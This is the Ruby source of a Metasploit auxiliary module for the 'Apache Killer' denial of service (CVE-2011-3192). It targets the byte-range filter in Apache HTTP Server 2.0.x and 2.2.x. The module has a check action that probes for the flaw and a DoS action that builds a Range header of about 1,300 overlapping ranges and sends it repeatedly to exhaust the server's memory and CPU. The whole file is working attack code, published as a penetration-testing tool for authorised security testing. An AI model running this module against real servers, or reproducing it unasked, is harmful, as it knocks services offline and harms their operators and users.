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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Scanner
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apache Range Header DoS (Apache Killer)',
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      'Description'    => %q{
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          The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
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        through 2.2.19 allows remote attackers to cause a denial of service (memory and
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        CPU consumption) via a Range header that expresses multiple overlapping ranges,
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        exploit called "Apache Killer"
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      },
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      'Author'         =>
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        [
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          'Kingcope', #original discoverer
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          'Masashi Fujiwara', #metasploit module
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          'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
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        ],
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      'License'        => MSF_LICENSE,
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      'Actions'        =>
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        [
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          ['DOS', 'Description' => 'Trigger Denial of Service against target'],
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          ['CHECK', 'Description' => 'Check if target is vulnerable']
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        ],
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      'DefaultAction'  => 'DOS',
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      'References'     =>
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        [
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          [ 'BID', '49303'],
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          [ 'CVE', '2011-3192'],
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          [ 'EDB', '17696'],
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          [ 'OSVDB', '74721' ],
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        ],
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      'DisclosureDate' => '2011-08-19'
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    ))
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    register_options(
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      [
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        Opt::RPORT(80),
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        OptString.new('URI', [ true,  "The request URI", '/']),
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        OptInt.new('RLIMIT', [ true,  "Number of requests to send",50])
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      ])
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  end
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  def run_host(ip)
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    case action.name
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    when 'DOS'
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      conduct_dos()
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    when 'CHECK'
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      check_for_dos()
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    end
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  end
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  def check_for_dos()
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    uri = datastore['URI']
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    rhost = datastore['RHOST']
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    begin
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      res = send_request_cgi({
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        'uri'     =>  uri,
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        'method'  => 'HEAD',
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        'headers' => {
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          "HOST"  => rhost,
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          "Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10",
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          "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
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        }
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      })
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      if (res and res.code == 206)
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        print_status("Response was #{res.code}")
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        print_status("Found Byte-Range Header DOS at #{uri}")
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        report_note(
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          :host   => rhost,
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          :port   => rport,
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          :type   => 'apache.killer',
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          :data   => "Apache Byte-Range DOS at #{uri}"
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        )
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      else
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        print_status("#{rhost} doesn't seem to be vulnerable at #{uri}")
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      end
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      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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      rescue ::Timeout::Error, ::Errno::EPIPE
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    end
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  end
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  def conduct_dos()
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    uri = datastore['URI']
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    rhost = datastore['RHOST']
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    ranges = ''
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    for i in (0..1299) do
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      ranges += ",5-" + i.to_s
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    end
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    for x in 1..datastore['RLIMIT']
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      begin
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        print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
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        res = send_request_cgi({
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          'uri'     =>  uri,
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          'method'  => 'HEAD',
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          'headers' => {
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            "HOST"  => rhost,
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            "Range" => "bytes=0-#{ranges}",
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            "Request-Range" => "bytes=0-#{ranges}"}},1)
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      rescue ::Rex::ConnectionRefused
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        print_error("Unable to connect to #{rhost}:#{rport}")
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      rescue ::Errno::ECONNRESET
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        print_good("DoS packet successful. #{rhost} not responding.")
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      rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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        print_error("Couldn't connect to #{rhost}:#{rport}")
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      rescue ::Timeout::Error, ::Errno::EPIPE
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      end
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    end
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  end
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end
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